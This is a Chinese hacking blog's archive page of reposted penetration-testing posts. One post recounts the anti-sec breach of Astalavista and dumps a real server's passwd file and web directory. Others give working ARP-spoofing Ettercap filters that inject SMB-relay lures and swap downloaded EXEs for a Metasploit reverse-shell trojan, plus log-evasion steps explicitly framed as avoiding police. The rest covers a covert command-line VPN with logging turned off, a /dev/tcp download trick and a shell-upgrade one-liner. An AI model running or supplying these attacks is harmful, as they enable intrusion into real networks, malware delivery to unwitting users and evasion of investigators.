存档

‘渗透测试’ 分类的存档

Astalavista被蹂躏过程

2011年3月24日 admin 没有评论

来源:素包子的博客

http://baoz.net/

里面两个亮点,一是远程获得apache用户权限的shell,banner是LiteSpeed,看来这玩意有0day,但是又怎么是用apache用户跑的,原来LiteSpeed这东西是和apache绑一起的,大概看了下介绍,主要功能是anti-ddos,这东西貌似还有点意思,回头玩玩。具体的看http://www.litespeedtech.com/litespeed-web-server-features.html。

[root@front3 ~]# curl -I litespeedtech.com
HTTP/1.1 200 OK
Date: Fri, 05 Jun 2009 22:54:51 GMT
Server: LiteSpeed

另外一个亮点就是localroot了,如果不是udev的话,那么就是RHEL5.3 x64还有一个localroot 0day -_-

有人说astalavista被黑是因为Y拿milw0rm的东西赚钱,这个我觉得就是每个人的尺度问题,有人还把别人写的文章弄成自己写的,还有人把别人的程序改成自己的,多了去了。

/ _ \ / _____/\__ ___/ _ \ | | / _ \ \ / /| |/ _____/\__ ___/ _ \
/ /_\ \ \_____ \ | | / /_\ \| | / /_\ \ Y / | |\_____ \ | | / /_\ \
/ | \/ \ | |/ | \ |___/ | \ / | |/ \ | |/ | \
\____|__ /_______ / |____|\____|__ /_______ \____|__ /\___/ |___/_______ / |____|\____|__ /
\/ \/ \/ \/ \/ \/ \/
The Hacking & Security Community
[+] Founded in 1997 by a hacker computer enthusiast
[-] Exposed in 2009 by anti-sec group

From < http://astalavista.com/faq>:
>> 03. Who’s behind the site?
>>
>> A team of security and IT professionals, and a countless number of contributors from all over the world.

>> 05. Is it true that the site is visited by script-kiddies and warez fans only?
>>
>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and
military institutions.
>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.

Why has Astalavista been targeted?

Other than the fact that they are not doing any of this for the “community” but
for the money, they spread exploits for kids, claim to be a security community
(with no real sense of security on their own servers), and they charge you $6.66
per months to access a dead forum with a directory filled with public releases
and outdated / broken services.

We wanted to see how good that “team of security and IT professionals” really is.

Let’s begin.

anti-sec:~# ./g0tshell astalavista.com -p 80
[+] Connecting to astalavista.com:80
[+] Grabbing banner…
LiteSpeed
[+] Injecting shellcode…
[-] Wait for it

[~] We g0tshell
uname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
ID: uid=100(apache) gid=500(apache) groups=500(apache)

sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
apache:x:100:500::/var/www:/bin/false
diradmin:x:101:101::/usr/local/directadmin:/bin/bash
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash
webapps:x:500:501::/var/www/html:/bin/bash
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
admin:x:501:502::/home/admin:/bin/bash
jon:x:502:503::/home/jon:/bin/bash
com:x:503:504::/home/com:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
ais:x:39:39:openais Standards Based Cluster Framework:/:/sbin/nologin
astanet:x:504:505::/home/astanet:/bin/bash
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
avahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin

sh-3.2$ cat /etc/hosts
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1 localhost.localdomain localhost
::1 localhost6.localdomain6 localhost6
80.74.154.172 asta1.astalavistaserver.com

sh-3.2$ pwd
/home/com/public_html

sh-3.2$ ls -la
total 18460
drwxr-xr-x 30 com apache 4096 May 28 17:06 .
drwx–x–x 11 com com 4096 Jun 25 2008 ..
drwxr-xr-x 2 com com 4096 Feb 2 19:29 admin
drwxrwxrwx 2 com com 18591744 Jun 4 08:04 cache
drwxr-xr-x 6 com com 4096 Mar 28 21:17 cadmin
drwxrwxrwx 2 com com 4096 May 19 00:50 config
drwxr-xr-x 2 com com 4096 Mar 20 11:05 core
drwxr-xr-x 18 com com 4096 Feb 2 19:29 core_modules
drwxr-xr-x 4 com com 4096 Feb 2 19:29 customizing
drwxr-xr-x 2 com com 4096 May 11 13:24 customizing_paulo
drwxr-xr-x 6 com com 4096 Mar 30 12:28 __DELETE__
-rw-r–r– 1 com com 8035 May 19 14:26 directory_to_mediadir.php
drwxr-xr-x 2 com com 4096 Sep 9 2008 dvd
drwxr-xr-x 3 com com 4096 Feb 2 19:29 editor
-rw-r–r– 1 com com 3750 Feb 27 16:12 favicon.ico
drwxrwxrwx 2 com com 4096 Jun 4 08:00 feed
-rwxrwxrwx 1 com com 10736 May 29 12:44 .htaccess
-rw-r–r– 1 com com 7638 Apr 21 08:45 .htaccess.2009-04-21.bak
-rw-r–r– 1 com com 10768 May 11 11:53 .htaccess.2009-05-11.bak
drwxr-xr-x 18 com com 4096 Apr 9 2008 ideapool
drwxrwxrwx 14 com com 4096 Feb 2 19:29 images
-rw-r–r– 1 com com 97496 Jun 2 13:01 index.php
drwxr-xr-x 6 com com 4096 Feb 2 19:29 installer
drwxr-xr-x 8 com com 4096 Feb 2 19:29 lang
drwxr-xr-x 22 com com 4096 Feb 2 19:29 lib
drwxrwxrwx 12 com com 4096 Jun 2 07:47 media
drwxr-xr-x 8 com com 4096 May 11 12:48 modifications
drwxr-xr-x 34 com com 4096 May 28 16:30 modules
drwxr-xr-x 11 com com 4096 Jan 30 15:00 _myAdmin
drwxrwxr-x 22 com com 4096 May 28 17:06 _new
drwxr-xr-x 26 com com 4096 Feb 2 19:27 _old
drwxr-xr-x 2 com com 4096 Mar 30 12:29 phproxy
drwxr-xr-x 2 com com 4096 Mar 30 12:30 proxy
-rw-r–r– 1 com com 26 Feb 2 19:33 robots.txt
-rwxrwxrwx 1 com com 10844 Jun 2 09:50 sitemap.xml
-rw-r–r– 1 com com 223 Mar 30 15:32 test.php
drwxrwxrwx 8 com com 4096 Mar 6 13:15 themes
drwxrwxrwx 3 com com 4096 Jun 4 08:00 tmp
drwxr-xr-x 3 com com 4096 Feb 2 19:33 webcam
阅读全文…

[zz]Have Fun With Ettercap Filter In LAN

2010年12月12日 admin 没有评论

From:http://huairen.me/archives/234.html

作者:Mickey
前几天pt007 带我去玩,在车上讨论了下内网入侵的思路,当时说到了利用ARP 欺骗加上smbrelay
来得到主机cmdshell 的方法,又提到了一个当用户通过浏览器下载EXE 文件的时候,利用ARP 欺骗
把数据流都引到本地,然后替换成我们事先准备好的后门,再转发出去,这样当目标运行了下载的EXE
后,我们就能得到主机的访问权限了,今天下午正好无事,就找了找资料,测试了下,顺带的也学了
学Ettercap 的使用。
一.Ettercap+SMBRELAY
还是先说一下我的渗透测试平台,我用的是Ubuntu9.04,Ettercap 0.7.3,MetaSploit 3.2,我们先用
MetaSploit 里的SmbRelay 来监听本地的445,使用之前,如果本地有Samba 服务在运行的话,需要先关闭,否则会造成端口冲突的。首先运行msfconsole,命令如下:

sudo ./msfconsole
use exploit/windows/smb/smb_relay
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.1.52
set LPORT 53
exploit
这里我选择的payload 是反向连接到本地的53 端口的,运行效果如图:
接下来,我们编写Ettercap 的Filter,过滤脚本内容如下:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data,”Accept-Encoding”)) {
replace(“Accept-Encoding”,”Accept-Mousecat”);
msg(“zapped Accept-Encoding!\n”);
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace(“</body>”,”<img src=\”\\\\192.168.1.52\\fvck.jpg\“> </body>” “);
replace(“</Body>”,”<img src=\”\\\\192.168.1.52\\fvck.jpg\“> </body>” “);
msg(“Filter Ran.\n”);
}
Ettercap 的filter 语法规则,可以通过man 8 etterfilter 来查看,我这里说说比较容易出错的地方,if 和
(之间必须有一个空格,每个if 语句块必须用{}来包含,只要注意这2点,基本上就没什么问题了。
简单说下这段filter 的含义,第一个if 语句块,如果ip 协议匹配TCP,并且目标端口是80的话,则搜
索HTTP 数据流的Accept-Encoding,并且替换为Accept-Mousecat,然后在控制台打印一条“zapped
Accept-Encoding”的消息,这么做的目的,是为了避免目标客户端浏览器像启用了GZIP 这样的数据压
缩功能。
第二个if 语句块,如果ip 协议匹配TCP,并且源端口是80的话,则搜索</body>和</Body>关键字,
并且替换为img,并且把img 的src 属性通过smb 方式指向我们用metasploit smbrelay 监听的445服
务,最后在控制台上打印”Filter Ran”运行的信息,如果你html 好的话,你也可以自己修改成其他的html
标签。
写好以后,用etterfilter 编译一下
etterfilter smbrelay.filter -o smbrelay.ef
效果如图:
接下来使用Ettercap 来进行arp 欺骗,我这里只对内网的192.168.1.67进行ARP 欺骗
ettercap -T -q -F smbrelay.ef -M ARP /192.168.1.67/ //
各参数意义如下:
-T:使用TEXT 模式启动
-q:启用安静模式
-F:加载指定的filter
-M:指定使用ARP 模块
当192.168.1.67 使用浏览器浏览网页的时候, 他浏览的所有网页里都会被插入<img
src=\\192.168.1.52\fvck.jpg>,这时候metasploit 也有响应了。我们得到了目标的cmdshell.
为了验证下,我刚才说的,使用新建立的用户登陆192.168.1.67,看下效果
当然了,用这个方法,如果有网马的话,也可以直接使用了,也可以进行XSS 攻击。
二.替换目标下载的exe 文件
我这里用msfpayload 生成一个反向连接的exe 后门(这里exe 命名成setup.exe/install.exe 的原因是,
可以绕过vista 的uac,当然是需要管理员2次点击的)
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.52 LPORT=8888 X
>/home/mickey/setup.exe
然后用msfcli 本地监听8888端口
./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.52
LPORT=8888 E
编写filter 脚本
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, “Accept-Encoding”)) {
replace(“Accept-Encoding”, “Accept-Mousecat”);
msg(“zapped Accept-Encoding!\n”);
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace(“keep-alive”, “close” “);
replace(“Keep-Alive”, “close” “);
}
if (ip.proto == TCP && search(DATA.data, “: application”) ){
msg(“found EXE\n”);
if (search(DATA.data, “Win32″)) {
msg(“doing nothing\n”);
} else {
replace(“200 OK”, “301 Moved Permanently
Location: http://www.hackest.cn/tools/setup.exe“);
msg(“redirect success\n”);
}
}
原理是当目标下载windows 格式的exe 文件时,替换当前页面的http 响应信息202为301,并且重定向
到我存放木马的地方。
使用etterfilter 编译一下
Etterfilter smbrelay.filter -o smbrelay.ef
加载downexe.ef 过滤器,进行arp 欺骗
sudo ettercap -T -q -F downexe.ef -M arp /192.168.1.67/ //
当目标进行网上冲浪,并且下载exe 文件,并运行后,我们就得到主机的权限了,当然我这里做的比
较粗糙,可以使用绑定器或者winrar 把文件合并起来,并且修改下exe 文件的图标,这样就显的更真
实了。
现在登陆192.168.1.67看一下效果,并且做下验证
详细的过程,可以通过wireshark 抓包看的很详细
文章写的仓促,有错误的地方,和有好的思路的同学,可以联系我一起交流。

分类: 渗透测试 标签:

linux入侵踪迹隐藏攻略

2010年5月25日 admin 没有评论

前言:

  被警察叔叔请去喝茶时间很痛苦的事情,各位道长如果功力不够又喜欢出风头的想必都有过这样的“待遇”。如何使自己在系统中隐藏的更深,是我们必须掌握的基本功。当然,如果管理员真的想搞你而他的功力又足够足的话,相信没什么人能够真正的“踏雪无痕”。Forensic 与Anti-Forensic,说到底只是你和管理员之间的技术间较量而已。貌似很少有专门说这个的文章,大部分就是下载个日志擦除的软件,然后运行下就可以了,对小站可以,但对方如果是经验丰富的管理员呢?我们该如何应对?我在这里只介绍unix-like system下的,至于windows或者其他什么系统下的,欢迎各位道友补充。

  1.最小化你的日志

  P.S 访问目标前用跳板我就不废话了,你是VPN也好3389也罢,ssh中转,代理都行。总之记住一点—直接连接攻击目标是愚蠢的

  1.1shell使用问题

  目前linux下大多数的shell都是采用bash或者其他的什么shell 通过输入输出重定向来实现与服务器的交互的,当我们使用ssh 或者telnet之类的登录的时候,我们的命令都会被记录在shell 的history文件下面。举例来说bash会在当前目录下面.bash_history文件里记录下你此次登陆操作的命令,如果你拿这台机器当跳板的话,或者扫描其他机器,你的命令都会被记录下来哦。呵呵,所以我们登录的第一件事就是执行如下命令:

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

  当然不同的shell写法可能不同,像有的set设置环境变量什么的。大家根据自己的shell自行修改。记住:从 webshell弹回的shell也会记录你的操作,值得庆幸的是现在很多弹shell的脚本都预先unset 环境变量。

阅读全文…

内网渗透技术:CMD下建立VPN

2010年5月25日 admin 没有评论
CMD下建立VPN
1.前提
服务里 windows防火墙停止(或者麻烦点可以把router协议,端口1723配进去)
远程注册表服务必须开启
server服务必须开启
router路由服务必须开启

两块以上网卡的win2000做vpn很方便,添加nat协议后,客户端拨入,能够使用远程网络连接internet。 使得部分客户端可提高网络速度,并达到代理的作用。

一块网卡的winxp,win2003做类似的vpn仍然很方便,nat协议添加后,再添加两个接口,一个是本地连接,一个是内部,设置本地连接为全转发,内部为私有模式,既可让有权限的用户拨入。

一块网卡的win2000,做类似的vpn就不方便了,nat协议添加后,再添加接口,只可以添加上本地连接,内部不容许图形界面的添加,察看了 netsh dump >c:\1.txt后,尝试在netsh命令添加内部接口,通过。 命令为:netsh routing ip nat add interface 内部 private

下面是部分常用命令:

netsh ras set user username permit //设置用户授权,该用户不能为tsinternetuser support_388945a0等。

netsh ras ip set addrassign pool //设置静态地址池模式

netsh ras ip add range 10.0.0.1 10.0.0.100 // 设置静态池范围 ,要用标准的局域网地址,避免将来在访问internet时候地址转发错误。

netsh routing ip nat install //添加nat协议

netsh routing ip nat add interface 本地连接 full //添加nat接口本地连接全转发

netsh routing ip nat add interface 内部 private //添加nat借口内部私有模式

igmp同样可以在netsh配置,命令行很长:

netsh routing ip igmp install

netsh routing ip igmp add interface 内部 igmpprototype=IGMPRTRV2 ifenabled=enable robustvar=2 startupquerycount=2 startupqueryinterval=31 genqueryinterval=125 genqueryresptime=10 lastmemquerycount=2 lastmemqueryinterval=1000 accnonrtralertpkts=YES

netsh routing ip igmp add interface name=”本地连接” igmpprototype=IGMPPROXY ifenabled=enable
如果配置前已经有接口,就要先删除:

netsh routing ip igmp delete interface 内部 //与此类似

路由和远程访问服务会在系统、安全日记中记录不少信息,比如ipsec、登陆信息。

修改一下注册表可以避免:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\Parameters

ProhibitIPsec”=dword:00000001

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Parameters

LoggingFlags”=dword:00000000

现在除了登陆信息,ipsec,remoteaccess警告,已经不记录。

—————————————-

还有值得一提的是建立好地vpn,通常使用的都是pptp协议,tcp1723端口,如果我们在网卡的ip策略添加了tcp1723的容许条目,基本上可以拨入。为什么是基本呢,因为pptp除了 tcp1723外还有一个ip47号协议,不同于tcp不同于udp,此协议对于认证很重要。如果网络上的防火墙割断的话,会出现拨号->用户认证 ->不通过认证断开的问题。

在配置vpn的时候,还需要remoteregister服务的支持,建立好以后可以关掉。

workstation , server,rpc同样在配置时候需要。

—————————————-

经测试,全命令行的建立vpn后,rrasmgmt.msc不出现具体配置信息。也就是说只有看网络连接文件夹,才能看出来一个拨入的连接

分类: 渗透测试 标签:

没wget,和nc,下载文件的一个小技巧

2010年5月25日 admin 没有评论

假设要下载http://192.168.182.1/exp.c

exec 5<>/dev/tcp/192.168.182.1/80 &&echo -e “GET /exp.c HTTP/1.0\n” >&5 && cat<&5 > exp.c

当然http头你要自己去掉

当然,你用nc -l -p 80 <exp.c 就不用这么麻烦了

用nst的反弹后后门连上nc后不能su交互的解决方法

2010年5月5日 admin 没有评论

by:vitter@safechina.net
blog:blog.securitycn.net

用nst的反弹后门连上nc后不能su交互,报错如下:
standard in must be a tty
解决方法:
python -c ‘import pty; pty.spawn(“/bin/sh”)’
得到shell就可以su进行交互了。

ps:最近渗透测试中遇到的几个值得注意的情况,记录下:

1.history不记录:
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

阅读全文…